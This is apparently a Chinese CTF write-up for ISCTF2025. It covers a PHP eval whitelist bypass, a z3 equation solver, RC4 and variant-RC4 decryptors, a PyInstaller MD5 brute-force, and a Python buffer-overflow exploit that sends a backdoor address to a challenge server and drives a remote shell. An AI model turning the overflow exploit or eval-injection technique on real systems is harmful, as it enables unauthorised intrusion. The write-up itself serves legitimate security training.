isctf2025 部分wp

ezrce

复制代码
<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

一个简单的get传参,给了一个正则的白名单,可以使用chdir跳到根目录,再print flag,这边白名单里面没有/ 就用DIRECTORY_SEPARATOR,DIRECTORY_SEPARATOR这个是内置变量,可以替代/

之后print_r(file_get_contents(flag))即可。

Guess!

这个直接打开程序猜就可以了,给了十次机会很简单猜到。

ezzz_math

die分析之后直接ida反汇编看main函数

复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [esp+4h] [ebp-6Ch]
  char Str[100]; // [esp+8h] [ebp-68h] BYREF

  sub_403B50(aPleaseInputYou);
  sub_403B50(aTryToUseZ3Solv);
  sub_403B90("%80s", Str);
  if ( strlen(Str) == 23 )
  {
    for ( i = 0; i < 23; ++i )
      Str[i] ^= 0xCu;
    if ( sub_401000(Str) )
      puts(aRight);
    else
      puts(aWrong);
  }
  else
  {
    puts(Buffer);
  }
  return 0;
}

接着定位到sub_401000,发现是一个多方程求解问题,写个脚本 解密

复制代码
from z3 import *

# 23 chars: a[0]..a[22]
a = [Int(f'a{i}') for i in range(23)]
s = Solver()

# 每个字符限制为可见 ASCII
for x in a:
    s.add(x >= 32, x <= 126)

s.add(
    94*a[22] + 74*a[21] + 70*a[19] + 12*a[18] + 20*a[16] + 62*a[12] + 82*a[10]
    + 7*a[7] + 63*a[6] + 18*a[5] + 58*a[4] + 94*a[2] + 77*a[0] - 43*a[1]
    - 37*a[3] - 97*a[8] - 23*a[9] - 86*a[11] - 6*a[13] - 5*a[14] - 79*a[15]
    - 63*a[17] - 93*a[20] == 20156,

    87*a[22] + 75*a[21] + 73*a[15] + 67*a[14] + 30*a[13] + a[11]*64 + 35*a[9]
    + 91*a[7] + 91*a[5] + 34*a[3] + 74*a[0] - 89*a[1] - 72*a[2] - 76*a[4]
    - 32*a[6] - 97*a[8] - 39*a[10] - 23*a[12] + 8*a[16] - 98*a[17] - 4*a[18]
    - 80*a[19] - 83*a[20] == 7183,

    51*a[21] + 22*a[20] + 15*a[19] + 51*a[17] + 96*a[12] + 34*a[7] + 77*a[5]
    + 59*a[2] + 89*a[1] + 92*a[0] - 85*a[3] - 50*a[4] - 51*a[6] - 75*a[8]
    - 40*a[10] - 4*a[11] - 74*a[13] - 98*a[14] - 23*a[15] - 14*a[16]
    - 92*a[18] - 7*a[22] == -7388,

    61*a[22] + 72*a[21] + 28*a[20] + 55*a[18] + 20*a[17] + 13*a[14] + 51*a[13]
    + 69*a[12] + 10*a[11] + 95*a[10] + 43*a[9] + 53*a[8] + 76*a[7] + 25*a[6]
    + 9*a[5] + 10*a[4] + 98*a[1] + 70*a[0] - 22*a[2] + 2*a[3] - 49*a[15]
    + 4*a[16] - 77*a[19] == 69057,

    7*a[22] + 21*a[16] + 22*a[13] + 55*a[9] + 66*a[8] + 78*a[5] + 10*a[3]
    + 80*a[1] + 65*a[0] - 20*a[2] - 53*a[4] - 98*a[6] + 8*a[7] - 78*a[10]
    - 94*a[11] - 93*a[12] - 18*a[14] - 48*a[15] - 9*a[17] - 73*a[18]
    - 59*a[19] - 68*a[20] - 74*a[21] == -31438,

    33*a[19] + 78*a[15] + 66*a[10] + 3*a[9] + 43*a[4] + 24*a[3] + 3*a[2]
    + 27*a[0] - 18*a[1] - 46*a[5] - 18*a[6] - a[7] - 33*a[8] - 50*a[11]
    - 23*a[12] - 37*a[13] - 45*a[14] + 2*a[16] - a[17] - 60*a[18]
    - 87*a[20] - 72*a[21] - 6*a[22] == -26121,

    31*a[20] + 80*a[18] + 34*a[17] + 34*a[15] + 38*a[14] + 53*a[13]
    + 35*a[12] + 82*a[9] + 27*a[8] + 80*a[7] + 46*a[6] + 18*a[4] + 5*a[1]
    + 98*a[0] - 12*a[2] - 9*a[3] - 57*a[5] - 46*a[10] - 31*a[11] - 68*a[16]
    - 94*a[19] - 93*a[21] - 15*a[22] == 26005,

    81*a[21] + 40*a[20] + 34*a[19] + 94*a[18] + 98*a[17] + 11*a[14]
    + 63*a[13] + 95*a[12] + 43*a[11] + 99*a[10] + 29*a[9] + 81*a[6]
    + 72*a[5] + 54*a[3] + 21*a[0] - 26*a[1] - 90*a[2] - 15*a[4] - 54*a[7]
    - 12*a[8] - 38*a[15] - 15*a[16] - 56*a[22] == 57169,

    71*a[18] + 39*a[17] + 73*a[15] + 14*a[14] + 56*a[12] + 56*a[10]
    + 27*a[9] + 68*a[7] + 39*a[6] + 26*a[5] + 40*a[4] + 24*a[3] + 11*a[2]
    + 14*a[1] + 94*a[0] - 10*a[8] - 11*a[11] - 63*a[13] - 39*a[16] - 14*a[19]
    - 17*a[20] - 23*a[21] - 7*a[22] == 40024,

    a[22]*64 + 80*a[21] + 89*a[20] + 70*a[19] + 66*a[18] + 55*a[17]
    + 16*a[16] + 84*a[13] + 48*a[12] + 11*a[7] + 32*a[5] + 99*a[0]
    - 26*a[1] - 91*a[2] - 96*a[3] - 63*a[4] - 67*a[6] - 72*a[8] + 4*a[9]
    - 84*a[10] - 81*a[11] - 80*a[14] - 98*a[15] == 432,

    a[21] + 41*a[17] + 46*a[12] + 44*a[9] + 63*a[0] - 73*a[1] - 43*a[2]
    + 4*a[3] - 37*a[4] - 54*a[5] - 58*a[6] - 95*a[7] - 2*a[8] - 37*a[10]
    - 5*a[11] + 2*a[13] - 46*a[14] - 27*a[15] - 19*a[16] - 78*a[18]
    - 51*a[19] - 82*a[20] - 59*a[22] == -57338,

    10*a[22] + 58*a[18] + 16*a[17] + 69*a[16] + 6*a[15] + 5*a[12] + 87*a[7]
    + 47*a[5] + 91*a[4] + 54*a[2] + 21*a[1] + 52*a[0] - 76*a[3] - 96*a[6]
    - 27*a[8] - 43*a[9] - 15*a[10] - 35*a[11] - 53*a[13] + 4*a[14]
    - 83*a[19] - 68*a[20] - 18*a[21] == 1777,

    66*a[22] + 92*a[21] + 29*a[20] + 42*a[19] + 55*a[14] + 72*a[13] + 40*a[12]
    + 31*a[10] + 88*a[9] + 61*a[8] + 59*a[7] + 35*a[6] + 16*a[3] + 24*a[1]
    + 60*a[0] - 55*a[2] - 8*a[4] - 7*a[5] - 17*a[11] - 25*a[15] - 22*a[16]
    - 10*a[17] - 59*a[18] == 47727,

    3*a[21] + 54*a[18] + 6*a[15] + 93*a[14] + 74*a[10] + 6*a[7] + 98*a[4]
    + 65*a[3] + 84*a[2] + 18*a[1] + 35*a[0] - 29*a[5] - 40*a[6] - 35*a[8]
    + 8*a[9] - 15*a[11] - 4*a[12] - 83*a[16] - 74*a[17] - 72*a[19]
    - 53*a[20] - 31*a[22] == 6695,

    45*a[20] + 14*a[19] + 76*a[18] + 17*a[16] + 86*a[14] + 28*a[11]
    + 19*a[5] + 46*a[1] + 75*a[0] - 12*a[2] - 27*a[3] - 66*a[4] - 27*a[6]
    - 32*a[7] - 69*a[8] - 31*a[9] - 65*a[10] - 54*a[12] - 6*a[13]
    + 2*a[15] - 10*a[17] - 89*a[21] - 16*a[22] == -3780,

    62*a[21] + 74*a[20] + 28*a[18] + 7*a[17] + 74*a[16] + 45*a[15]
    + 57*a[14] + 34*a[11] + 85*a[10] + 98*a[6] + 29*a[4] + 94*a[3] + 51*a[2]
    + 85*a[1] - 36*a[5] - a[7] - 3*a[8] - 74*a[9] - 70*a[12] - 68*a[13]
    - 3*a[19] + 8*a[22] == 47300,

    22*a[22] + 45*a[21] + 14*a[19] + 32*a[18] + 77*a[17] + 70*a[12] + 7*a[10]
    + 99*a[4] + 82*a[0] - 48*a[1] - 40*a[2] - 81*a[3] - 27*a[5] - 75*a[6]
    - 79*a[7] - 26*a[8] - 68*a[9] - 57*a[11] - 77*a[13] - 32*a[14]
    - a[15] - 91*a[16] - 14*a[20] == -34153,

    65*a[21] + 13*a[20] + 61*a[17] + 97*a[13] + 24*a[10] + 40*a[5] + 20*a[0]
    - 81*a[1] - 17*a[2] - 77*a[3] - 79*a[4] - 45*a[6] - 61*a[7] - 48*a[8]
    - 97*a[9] - 49*a[11] - 14*a[12] - 81*a[14] - 20*a[15] - 27*a[16]
    - 89*a[18] - 93*a[19] - 46*a[22] == -55479,

    60*a[21] + 70*a[20] + 13*a[15] + 87*a[13] + 76*a[11] + 88*a[9]
    + 87*a[3] + 87*a[0] - 97*a[1] - 40*a[2] - 49*a[4] - 23*a[5] - 30*a[6]
    - 50*a[7] - 98*a[8] - 21*a[10] - 54*a[12] - 65*a[14] - 80*a[17]
    - 28*a[18] - 57*a[19] - 70*a[22] == -20651,

    54*a[20] + 86*a[17] + 92*a[16] + 41*a[15] + 70*a[10] + 9*a[9] + a[8]
    + 96*a[7] + 45*a[6] + 78*a[5] + 3*a[4] + 90*a[3] + 71*a[2] + 96*a[0]
    - 8*a[1] + 4*a[11] - 55*a[12] - 73*a[13] - 54*a[14] - 89*a[18]
    - a[19]*64 - 67*a[21] + 4*a[22] == 35926,

    5*a[22] + 88*a[20] + 52*a[19] + 21*a[17] + 25*a[16] + 3*a[13] + 88*a[10]
    + 39*a[8] + 48*a[7] + 74*a[6] + 86*a[4] + 46*a[2] + 17*a[0] - 98*a[1]
    - 50*a[3] - 28*a[5] - 73*a[9] - 33*a[11] - 75*a[12] - 14*a[14]
    - 31*a[15] - 26*a[18] - 52*a[21] == 8283,

    96*a[22] + 85*a[20] + 55*a[19] + 99*a[13] + 19*a[11] + 77*a[10]
    + 52*a[9] + 66*a[8] + 96*a[6] + 72*a[4] + 90*a[3] + 60*a[1] + 94*a[0]
    - 99*a[2] - 26*a[5] - 94*a[7] - 49*a[12] - 32*a[14] - 54*a[15]
    - 92*a[16] - 71*a[17] - 63*a[18] - 23*a[21] == 33789,

    15*a[22] + a[19] + 26*a[17] + 65*a[16] + 80*a[11] + 92*a[8] + 28*a[5]
    + 79*a[4] + 73*a[0] - 98*a[1] - 2*a[2] - 70*a[3] - 10*a[6] - 30*a[7]
    - 51*a[9] - 77*a[10] - 32*a[12] - 32*a[13] + 8*a[14] + 4*a[15]
    - 11*a[18] - 83*a[20] - 85*a[21] == -10455
)

# Solve
if s.check() == sat:
    model = s.model()
    res = ''.join(chr(model[x].as_long()) for x in a)
    print("Result:", res)
else:
    print("No solution")

解密之后再加一个main函数上面的历遍和12异或就可以.

OSINT-1、2

这个都是通过百度识图就可以找到具体的地点,然后再用谷歌地图的视角去找就可以了。

pwn来签个到吧

复制代码
import socket
import struct

def main():
    host = 'challenge.bluesharkinfo.com'
    port = 26050

    target = struct.pack('<I', 0xADDAAAAA)
    exploit_data = b'N' * 108 + target + b'A' * (140 - 108 - 4)

    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(15)
            s.connect((host, port))
            s.recv(1024)
            s.send(exploit_data)
            response = s.recv(1024)

            if b'blueshark likes you too!' in response:
                while True:
                    cmd = input("blueshark# ").strip()
                    if cmd.lower() in ['exit', 'quit', 'q']:
                        break
                    if cmd:
                        s.send((cmd + '\n').encode())
                        print(s.recv(4096).decode(), end='')
    except Exception as e:
        print(e)

if __name__ == "__main__":
    main()

用ida分析可以找到后门地址,和设置的溢出量

根据这个去写脚本就可以,溢出量+后门地址

ezpy

这个是用py打包的,直接解析得到源码

一般都是直接反编译ezpy.pyc但是这边,因为和题目最贴合,但是这边正常编译不出来,后面也是去用了哪一个网站猜编译出来的,可以看到里面的一些调用信息,之后再去分析其他的文件,可以知道要去分析mypy.cp313-win_amd64.pyd这个文件,直接用ida去分析

这个是主函数,再这个函数里面可以看到密钥是ISCTF2025和他的加密逻辑,接着追踪加密函数

可以知道是rc4加密,这边会对密钥进行处理,变成字节流,接着追踪密文

写脚本即可

复制代码
def rc4_ksa(key: bytes):
    S = list(range(256))
    j = 0
    key_len = len(key)
    for i in range(256):
        j = (j + S[i] + key[i % key_len]) & 0xFF
        S[i], S[j] = S[j], S[i]
    return S

def rc4_prga(S, length):
    i = j = 0
    out = []
    for _ in range(length):
        i = (i + 1) & 0xFF
        j = (j + S[i]) & 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) & 0xFF]
        out.append(K)
    return bytes(out)

cipher_bytes = bytes([0x1D,0xD5,0x38,0x33,0xAF,0xB5,0x51,0xF3,0x2C,0x6B,0x6E,0xFE,0x41,0x24,0x43,0xD2,0x71,0xCF,0xA4,0x4C,0xE3,0x9A,0x9A,0xB5,0x31])
key = b"ISCTF2025"

S = rc4_ksa(key)
keystream = rc4_prga(S, 25)
flag_bytes = bytes(c ^ k for c, k in zip(cipher_bytes, keystream))
flag = flag_bytes.decode('utf-8', errors='ignore')

print(flag)

MysteriousStream

直接查壳ida反编译即可看到主要逻辑

复制代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  FILE *v4; // r12
  __int64 v5; // r14
  char *v6; // rax
  char *v7; // rbp
  size_t v8; // r13
  __int64 i; // rcx
  char v11[17]; // [rsp+7h] [rbp-41h] BYREF
  unsigned __int64 v12; // [rsp+18h] [rbp-30h]

  v12 = __readfsqword(0x28u);
  v3 = fopen("payload.dat", "rb");
  if ( v3 )
  {
    v4 = v3;
    fseek(v3, 0LL, 2);
    v5 = ftell(v4);
    if ( v5 < 0 )
    {
      puts("Get file size failed");
      fclose(v4);
      return 1;
    }
    else
    {
      fseek(v4, 0LL, 0);
      v6 = (char *)malloc(v5);
      v7 = v6;
      if ( v6 )
      {
        v8 = fread(v6, 1uLL, v5, v4);
        fclose(v4);
        if ( v5 == v8 )
        {
          qmemcpy(v11, "P4ssXORSecr3tK3y!", sizeof(v11));
          rc4_variant(v7, v8, &v11[7], 10LL);
          if ( v8 )
          {
            for ( i = 0LL; i != v8; ++i )
              v7[i] ^= v11[i % 7];
          }
          __printf_chk(1LL, "Result: %s\n", v7);
          free(v7);
          return 0;
        }
        else
        {
          __printf_chk(1LL, "Read failed! Expected %ld bytes, got %zu bytes\n", v5, v8);
          free(v7);
          return 1;
        }
      }
      else
      {
        puts("Malloc memory failed");
        fclose(v4);
        return 1;
      }
    }
  }
  else
  {
    puts("payload.dat not found");
    return 1;
  }
}

主要是rc4的变种

变种逻辑 v8 = ((v7 & 0xAA) + v8 + v9 + key[v7 % keylen]) & 0xFF

标准逻辑(对比) j = (j + S[i] + key[i % len(key)]) & 0xFF

变种逻辑 v11 = S[i] # 先缓存S[i] j = (j + v11) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + v11) & 0xFF] # 用缓存的v11(交换前的S[i])

标准逻辑(对比) j = (j + S[i]) & 0xFF S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) & 0xFF] # 用交换后的S[i]+S[j]

用这些来解密bat文件。

复制代码
def rc4_variant_from_c(data: bytearray, key: bytes):
    # ===== KSA =====
    S = [i for i in range(256)]
    v8 = 0
    keylen = len(key)

    for v7 in range(256):
        v9 = S[v7]
        v8 = ((v7 & 0xAA) + v8 + v9 + key[v7 % keylen]) & 0xFF
        S[v7], S[v8] = S[v8], S[v7]

    # ===== PRGA =====
    i = 0
    j = 0
    for idx in range(len(data)):
        i = (i + 1) & 0xFF
        v11 = S[i]
        j = (j + v11) & 0xFF
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + v11) & 0xFF]
        data[idx] ^= K


def main():
    # 读取 payload.dat
    with open("payload.dat", "rb") as f:
        buf = bytearray(f.read())

    # v11 原始 17 字节,但程序只用:
    # rc4_key = v11[7:17](10字节)
    # xor_prefix = v11[0:7]
    v11 = b"P4ssXORSecr3tK3y!"[:17]
    xor_prefix = v11[:7]
    rc4_key = v11[7:7+10]

    # 1) 先 rc4_variant
    rc4_variant_from_c(buf, rc4_key)

    # 2) 再 XOR
    for i in range(len(buf)):
        buf[i] ^= xor_prefix[i % 7]

    # 输出
    print(buf.decode('utf-8', errors='replace'))


if __name__ == "__main__":
    main()

ELF

还是py打包,先解包

直接反编译main

复制代码
# Source Generated with Decompyle++
# File: F:/wrllq/main/main_extracted/main.pyc (Python 3.10)

import base64
import hashlib
import random
flag = '8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72'
YourInput = input('Please input your flag:')
enc = ''
if len(YourInput) != 24:
    print('Length Wrong!!!')
    exit(0)

def Rep(hash_data):
    random.seed(161)
    result = list(hash_data)
    for i in range(len(result) - 1, 0, -1):
        swap_index = random.randint(0, i)
        result[i] = result[swap_index]
        result[swap_index] = result[i]
    return ''.join(result)

for i in range(len(YourInput) // 3):
    c2b = base64.b64encode(YourInput[i * 3:(i + 1) * 3].encode('utf-8'))
    hash = hashlib.md5(c2b).hexdigest()
    enc += Rep(hash)
if enc == flag:
    print('Your are win!!!')
    return None
None('Your are lose!!!')

这就是一个加密流程,输入一个 24 字节的字符串,程序把它按3字节一组切成8组,每组做 base64→md5→重排后拼在一起,这边种子是固定的161,但是最后也没用到,所以我们可以进行逆向操作

到MD5这步,需要进行爆破,爆破所有 3 字节可打印字符串,最后拼接起来即可

复制代码
import base64, hashlib, random, sys
flag = "8d13c398b72151b1dad78762553dbbd59dba9b0b2330b03b401ea4f2a6d4731d479220fe900b520f6b4753667fe1cdf9eff8d3b833a0013c4083fa1ad27d056486702bda245f3c1aa0fbf84b237d8f2dec9a80791fe66625adfe3669419a104cbb67293eaada20f79cebf69d84d326025dd35dec09a2c97ad838efa5beba9e72"
parts = [flag[i*32:(i+1)*32] for i in range(8)]
alphabet = ''.join(chr(i) for i in range(32,127))

def Rep_fixed(hash_data):

    random.seed(161)
    result = list(hash_data)
    for i in range(len(result) - 1, 0, -1):
        swap_index = random.randint(0, i)
        tmp = result[i]
        result[i] = result[swap_index]
        result[swap_index] = tmp
    return ''.join(result)

rep_to_triple = {}
count = 0
total = len(alphabet) ** 3
for a in alphabet:
    for b in alphabet:
        for c in alphabet:
            s = a + b + c
            h = hashlib.md5(base64.b64encode(s.encode())).hexdigest()
            rep = Rep_fixed(h)
            # keep first found triple if collisions happen
            if rep not in rep_to_triple:
                rep_to_triple[rep] = s
            count += 1

recovered = []
missing = []
for idx, part in enumerate(parts):
    triple = rep_to_triple.get(part)
    if triple is None:
        missing.append((idx, part))
        recovered.append(None)
    else:
        recovered.append(triple)

for i, t in enumerate(recovered):
    recovered_flag = "".join(recovered)

print(recovered_flag)

总结就是24位输入→按每3位拆分为8块

对每块执行:3位字符串→UTF-8编码→Base64编码→MD5哈希(32位16进制)→Rep→ 拼接8块的MD5结果 → 得到最终的enc字符串(即题目给出的flag)

所有我们反过来要先对给的一大串进行分块,再逆着来一边。

相关推荐
初圣魔门首席弟子1 小时前
第六章、[特殊字符] HTTP 深度进阶:报文格式 + 服务器实现(从理论到代码)
linux·网络·c++
西洼工作室1 小时前
移动开发常见问题
前端·css3·web移动开发
qq_479875431 小时前
std::true_type {}
java·linux·服务器
2401_853448231 小时前
U-boot引导Linux内核启动
linux·uboot·nfs·mmc·tftp·系统移植
同学807961 小时前
新版本Chrome谷歌浏览器访问本地网络请求跨域无法正常请求
前端·http
儿歌八万首1 小时前
Jetpack Compose 实战:打造高性能轮播图 (Carousel) 组件
android·前端·kotlin
濊繵1 小时前
Linux网络--传输层协议 TCP
linux·网络·tcp/ip
m0_616188491 小时前
循环多个表单进行表单校验
前端·vue.js·elementui
xxp43211 小时前
Linux 根文件系统构建
linux·学习